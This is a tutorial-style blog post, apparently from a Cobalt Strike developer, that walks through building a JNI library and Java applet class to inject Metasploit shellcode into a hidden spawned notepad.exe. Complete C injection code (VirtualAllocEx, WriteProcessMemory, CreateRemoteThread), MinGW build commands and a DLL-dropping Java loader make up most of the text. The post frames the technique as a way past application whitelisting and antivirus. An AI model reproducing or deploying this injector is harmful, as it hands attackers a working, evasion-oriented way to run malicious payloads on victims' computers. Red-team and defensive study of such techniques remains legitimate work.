Cobalt Strike’s Java Applet attacks inject shellcode into memory. Injecting into memory is valuable as it helps get past application whitelisting and can help evade anti-virus as well.

There are several approaches to inject shellcode into memory from Java. One approach is to drop syringe and call it with your shellcode. If syringe or your variant isn’t white listed though, you’re out of the game. Another approach is to use PowerShell, but this won’t do much good against Windows XP.

Another option is to extend Java through JNI to add an API to inject shellcode. This is the approach I take.

JNI is the Java Native Interface. It’s an opportunity for developers to load a specially crafted native library into the Java Virtual Machine and interface with it through Java itself. Java applets may take advantage of JNI as well.

First, let’s create a Java program that interfaces with a function to inject shellcode:

1public class Demo {
2public native void inject(byte[] me);
3}

The native keyword attached to inject states that inject is defined in a native JNI library.

To create a library for our Java shellcode injector, we must first compile our Java program.

1javac -d bin -cp bin src-java/Demo.java

Now that we have a .class file, we can ask Java to generate the necessary headers for our JNI library.  To do this, we use the javah program.

1javah -classpath bin -jni -o src/injector.h Demo

This program will output an injector.h file in a folder called src. The injector.h header will define a prototype for our inject function:

1JNIEXPORT void JNICALL Java_Demo_inject(JNIEnv *, jobject, jbyteArray);

Next, we need to implement this function. Here’s a quick run of it:

1JNIEXPORT void JNICALL Java_Demo_inject(JNIEnv * env, jobject object, jbyteArray jdata) {
2jbyte * data = (*env)->GetByteArrayElements(env, jdata, 0);
3jsize length = (*env)->GetArrayLength(env, jdata);
4inject((LPCVOID)data, (SIZE_T)length);
5(*env)->ReleaseByteArrayElements(env, jdata, data, 0);
6}

JNI provides us with some help when it comes to marshaling data between C and Java. Many Java types map 1:1 to C types (e.g., jchar is just a char). To learn more about how JNI maps its types to C, look at Chapter 3 of the JNI documentation. To learn about functions that help interface with Java arrays passed to JNI, read chapter 4 of the JNI documentation.

When I work with JNI, I like to handle all of my Java -> C type conversions in the JNI function. Once these conversions are handled, I call another C function to carry out the task.

Now, let’s write our inject function to spawn our shellcode:

1/* inject some shellcode... enclosed stuff is the shellcode y0 */
2void inject(LPCVOID buffer, int length) {
3STARTUPINFO si;
4PROCESS_INFORMATION pi;
5HANDLE hProcess   = NULL;
6SIZE_T wrote;
7LPVOID ptr;
8char lbuffer[1024];
9char cmdbuff[1024];
10 
11/* reset some stuff */
12ZeroMemory( &si, sizeof(si) );
13si.cb = sizeof(si);
14ZeroMemory( &pi, sizeof(pi) );
15 
16/* start a process */
17GetStartupInfo(&si);
18si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
19si.wShowWindow = SW_HIDE;
20si.hStdOutput = NULL;
21si.hStdError = NULL;
22si.hStdInput = NULL;
23 
24/* resolve windir? */
25GetEnvironmentVariableA("windir", lbuffer, 1024);
26 
27/* setup our path... choose wisely for 32bit and 64bit platforms */
28#ifdef _IS64_
29_snprintf(cmdbuff, 1024, "%s\\SysWOW64\\notepad.exe", lbuffer);
30#else
31_snprintf(cmdbuff, 1024, "%s\\System32\\notepad.exe", lbuffer);
32#endif
33 
34/* spawn the process, baby! */
35if (!CreateProcessA(NULL, cmdbuff, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
36return;
37 
38hProcess = pi.hProcess;
39if( !hProcess )
40return;
41 
42/* allocate memory in our process */
43ptr = (LPVOID)VirtualAllocEx(hProcess, 0, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
44 
45/* write our shellcode to the process */
46WriteProcessMemory(hProcess, ptr, buffer, (SIZE_T)length, (SIZE_T *)&wrote);
47if (wrote != length)
48return;
49 
50/* create a thread in the process */
51CreateRemoteThread(hProcess, NULL, 0, ptr, NULL, 0, NULL);
52}

This function is written to work with an x86 and x64 Java Virtual Machine on Windows. First, it checks if _IS64_ is defined. This macro (supplied at compile time) is what I use to find out if I’m in a 64-bit Java Virtual Machine or not. Either way, the outcome is the same, I spawn a 32-bit notepad.exe process.

Once my 32-bit process is spawned, I follow through with the normal shellcode injection pattern: allocate memory in my spawned process, copy my shellcode to it, and create a new thread in my spawned process that executes my shellcode. That’s it.

I prefer to spawn into another process, because if a problem occurs in the shellcode, it will not crash the process I spawned the shellcode from. Spawning into a 32-bit process (regardless of our Windows version) has another benefit: it allows us to use 32-bit shellcode, even if we’re running in a 64-bit Java Virtual Machine.

Now, we need to compile our JNI library. For this blog post, I’m using Kali Linux as my development environment. Kali Linux comes with MinGW-w64 installed. MinGW-w64 is a cross-compiler capable of building binaries for x86 and x64 Windows.

To compile our JNI library, we will need some files from the Java Developer’s Kit on Windows. To get these files, install a JDK on Windows, and grab C:\Program Files\Java\jdkXXXXXXXX\include and copy it to your build environment.

1$ find include/
2include/
3include/jvmti.h
4include/win32
5include/win32/jawt_md.h
6include/win32/jni_md.h
7include/jni.h
8include/jdwpTransport.h
9include/jawt.h
10include/classfile_constants.h

Before you compile your DLL, create an injector.def file in the src/ folder. Here’s the contents of the file:

1EXPORTS
2Java_Demo_inject

To compile your JNI DLL, use:

1i686-w64-mingw32-gcc -c src/*.c -l jni -I include -I include/win32 -Wall -D_JNI_IMPLEMENTATION_ -Wl,--kill-at -shared
2i686-w64-mingw32-dllwrap --def src/injector.def injector.o -o temp.dll
3strip temp.dll -o bin/injector.dll

This will give you an injector.dll file. Sadly, we run into a problem here. A 32-bit Java Virtual Machine will welcome our DLL file with open arms. A 64-bit Java Virtual Machine will not. We must compile a 64-bit variant of the DLL to use it in a 64-bit Java Virtual Machine. To do so:

1x86_64-w64-mingw32-gcc -m64 -c src/*.c -l jni -I include -I include/win32 -Wall -D_JNI_IMPLEMENTATION_ -D_IS64_ -Wl,--kill-at -shared
2x86_64-w64-mingw32-dllwrap -m64 --def src/injector.def injector.o -o temp.dll
3strip temp.dll -o bin/injector64.dll

Notice that the 64-bit build process defines _IS64_. In the source code for inject, I use this identifier to determine whether I’m a 64-bit DLL or a 32-bit DLL and act appropriately.

Now we have our DLLs, let’s fill in our Demo class and make it into something that can inject shellcode for us:

1import java.io.*;
2 
3public class Demo {
4/* our shellcode... populate this from Metasploit */
5byte shell[] = new byte[0];
6 
7public native void inject(byte[] me);
8 
9public void loadLibrary() {
10try {
11/* our file */
12String file = "injector.dll";
13 
14/* determine the proper shellcode injection DLL to use */
15if ((System.getProperty("os.arch") + "").contains("64"))
16file = "injector64.dll";
17 
18/* grab our DLL file from this JAR file */
19InputStream i = this.getClass().getClassLoader().getResourceAsStream(file);
20byte[] data = new byte[1024 * 512];
21int length = i.read(data);
22i.close();
23 
24/* write our DLL file to disk, in a temp folder */
25File library = File.createTempFile("injector", ".dll");
26library.deleteOnExit();
27 
28FileOutputStream output = new FileOutputStream(library, false);
29output.write(data, 0, length);
30output.close();
31 
32/* load our DLL into this Java */
33System.load(library.getAbsolutePath());
34}
35catch (Throwable ex) {
36ex.printStackTrace();
37}
38}
39 
40public Demo() {
41loadLibrary();
42inject(shell);
43}
44 
45public static void main(String args[]) {
46new Demo();
47}
48}

The loadLibrary function reaches into our JAR file (or current classpath) and grabs the proper injector.dll file (64-bit or 32-bit). Once the injector file is on disk, I call System.load to load the DLL into the Java Virtual Machine. Once this step completes, we’re able to inject our shellcode with the inject function. That’s it!

A Few Tips:

1) To try this example out, you will need to generate shellcode from the Metasploit Framework and assign it to the shell variable. Do that in whatever way is convenient for you. Make sure you set the Encoder option to generic/none.

2) If you use this technique with an applet, beware that some browsers keep the Java Virtual Machine around after your applet runs. If you use this technique in an applet, use a static variable to check whether you’ve loaded your JNI library already or not. If you try to load a library a second time in the same JVM, the process will fail.